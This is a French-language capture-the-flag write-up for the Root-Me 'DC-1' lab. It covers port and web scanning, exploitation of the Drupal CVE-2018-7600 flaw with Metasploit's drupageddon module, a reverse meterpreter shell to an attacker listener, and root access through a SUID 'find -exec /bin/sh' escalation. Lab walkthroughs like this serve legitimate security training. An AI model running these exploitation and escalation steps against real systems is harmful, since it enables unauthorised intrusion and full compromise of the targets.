Home

DC - 1

DC-1 Root-Me



Reco

Premièrement, j'utilise RustScan pour identifier les services sur le serveur.


RustScan est un scanner de ports ultra-rapide.

Avec des fonctionnalités telles que le passage automatique des ports trouvés à Nmap pour des analyses plus approfondies.


┌──(ReZ3R0💀machine)-[~]
└─$ rustscan -a ctf12.root-me.org


Rustscan result




Un service HTTP est disponible sur le port 80 :

HTTP service




Dirsearch


J'exécute ensuite un scan Dirsearch pour explorer les répertoires :

Dirsearch détecte des répertoires ou fichiers cachés/non listés sur le serveur web,

┌──(ReZ3R0💀machine)-[~]
└─$ dirsearch -u http://ctf12.root-me.org/


Cependant je ne découvre pas grand chose avec Dirsearch


Nikto


Nikto est un scanner de vulnérabilités pour les serveurs web.

Il permet de détecter des configurations dangereuses, des fichiers sensibles et des failles de sécurité connues.

Je détecte une vulnérabilité connue en utilisant Nikto :

┌──(ReZ3R0💀machine)-[~]
└─$ nikto -h http://ctf12.root-me.org


Nikto result



La version de Drupal identifiée est vulnérable (CVE-2018-7600) :

https://github.com/pimps/CVE-2018-7600



Metasploit


Metasploit est un framework de test de pénétration puissant et extensible.

Il est largement utilisé pour développer et exécuter des exploits contre des systèmes cibles.

Il permet d'identifier et exploiter des vulnérabilités de manière contrôlée.


┌──(ReZ3R0💀machine)-[~]
└─$ sudo msfconsole

msf6 search drupal

msf6 use exploit/multi/http/drupal_drupageddon

msf6 exploit(multi/http/drupal_drupageddon) > show options

msf6 exploit(multi/http/drupal_drupageddon) > set RHOSTS 212.83.175.132

msf6 exploit(multi/http/drupal_drupageddon) > set LPORT 6666

msf6 exploit(multi/http/drupal_drupageddon) > set LHOST reZ3R0

msf6 exploit(multi/http/drupal_drupageddon) > run


Metasploit1

Metasploit2



J'obtiens bien une session meterpreter :

Reverse


Puis j'ai basculé vers une session shell interactive

meterpreter > shell

/bin/sh -i



Privilege Escalation



La commande : find / -perm -u=s -type f 2>/dev/null recherche tous les fichiers sur le système qui possèdent le bit SUID (Set User ID).

Cela signifie que ces fichiers s'exécutent avec les privilèges de leur propriétaire (souvent root).


Nous pouvons apercevoir /usr/bin/find alors regardons sur gtfobins

Gtfobins recense les binaires présents sur les systèmes Unix/Linux pouvant être utilisés à des fins d'escalade de privilèges :


DC-1/gtfobins.png


Privilege escalation


Avec find . -exec /bin/sh ; -quit j'obtiens un accès Root !